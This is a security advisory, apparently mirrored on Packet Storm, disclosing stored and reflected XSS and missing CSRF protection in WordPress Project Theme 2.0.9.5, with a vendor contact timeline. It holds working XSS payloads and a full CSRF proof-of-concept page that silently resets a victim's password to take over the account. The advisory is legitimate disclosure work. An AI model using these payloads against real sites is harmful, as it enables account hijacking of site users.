what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Project Theme 2.0.95 Cross Site Request Forgery / Cross Site Scripting

WordPress Project Theme 2.0.95 Cross Site Request Forgery / Cross Site Scripting
Posted Mar 9, 2016
Authored by Tim Herres | Site lsexperts.de

WordPress Project Theme version 2.0.9.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | 3031bbbe986bcd3baf38b9db7a644a3c7ac64abaae5324561568fa01937551c6

WordPress Project Theme 2.0.95 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download

=== LSE Leading Security Experts GmbH - Security Advisory 2016-01-01 ===



Wordpress ProjectTheme Multiple Vulnerabilities

- ------------------------------------------------------------



Affected Version

================

Project Theme: 2.0.9.5



Problem Overview

================

Technical Risk: high

Likelihood of Exploitation: low

Vendor: http://sitemile.com/

Credits: LSE Leading Security Experts GmbH employee Tim Herres

Advisory: https://www.lsexperts.de/advisories/lse-2016-01-01.txt

Advisory Status: public

CVE-Number: [NA yet]



Problem Impact

==============

During an internal code review multiple vulnerabilities were identified.

The whole application misses input validation and output encoding. This means user supplied input is inserted in a unsafe way.

This could allow a remote attacker to easily compromise user accounts.



Example:

An authenticated user sends a private message to another user.

When the attacker injects JavaScript Code, it will automatically call the CSRF Proc below.

The only necessary information is the user id, which can be identified easily, see below.

If the other user opens the private message menu, the JavaScript code gets executed and the Password will be changed. It is not necessary to open the message.

Now the attacker can access the account using the new password.



Problem Description

===================

The following findings are only examples, the whole application should be reviewed for similar vulnerabilities.



#Stored Cross Site Scripting:

Creating a new project http://[URL]/post-new/? in the project title and description field.

Insert JavaScript code inside the project message board:

POST /?get_message_board=34 HTTP/1.1

sumbit_message=1&my_message=TestMessagBoard<script>alert("stored_xss")</script>

Also in the private message in the subject or in the message field. The payload in the Subject will be executed, if the user opens the private message list.



#Reflected Cross Site Scripting:

http://[IP]/advanced-search/?term=asdf&%22%3E%3Cscript%3Ealert%2811%29%3C%2fscript%3E



# No protection against Cross Site Request Forgery Attacks

There is no Cross Site Request Forgery protection.

Also the user password can be changed without knowledge of the current password.

A possible CSRF attack form, which will change the users password to "test":

<html>

<body>

<script>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://[ip]/my-account/personal-information/", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarywXBZovhmb3VnFJdz");

xhr.setRequestHeader("Accept-Language", "de-DE,de;q=0.8,en-US;q=0.6,en;q=0.4");

xhr.withCredentials = true;

var body = "------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"project_location_cat\"\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"user_city\"\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"user_description\"\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"password\"\r\n" +

"\r\n" +

"test\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"reppassword\"\r\n" +

"\r\n" +

"test\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"avatar\"; filename=\"\"\r\n" +

"Content-Type: application/octet-stream\r\n" +

"\r\n" +

"\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"save-info\"\r\n" +

"\r\n" +

"Save\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz\r\n" +

"Content-Disposition: form-data; name=\"user_id\"\r\n" +

"\r\n" +

"2\r\n" +

"------WebKitFormBoundarywXBZovhmb3VnFJdz--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

</script>

<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();" />

</form>

</body>

</html>



#Getting user id

In a published project there is a button contact project owner with the corresponding UID --> url: http://[IP]/my-account/private-messages/?rdr=&pg=send&uid=1&pid=34.

Also a mouseover in the user profile (Feedback) will reveal the userid.





Temporary Workaround and Fix

============================

No fix



History

=======

2015-12-20 Problem discovery during code review

2016-01-12 Vendor contacted

2016-01-12 Vendor response (check in progress)

2016-01-26 Vendor contacted (asked for status update)

2016-01-26 Vendor reponse (check in progress)

2016-02-05 Vendor contacted (advisory will be released in 30 days)

2016-03-07 Vendor contacted (asked for last status update)

2016-03-07 Vendor response (vulnerabilities should be fixed in the last update 2.0.9.7 on 1st march 2016, not verified by the LSE)

2016-03-08 Advisory release

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close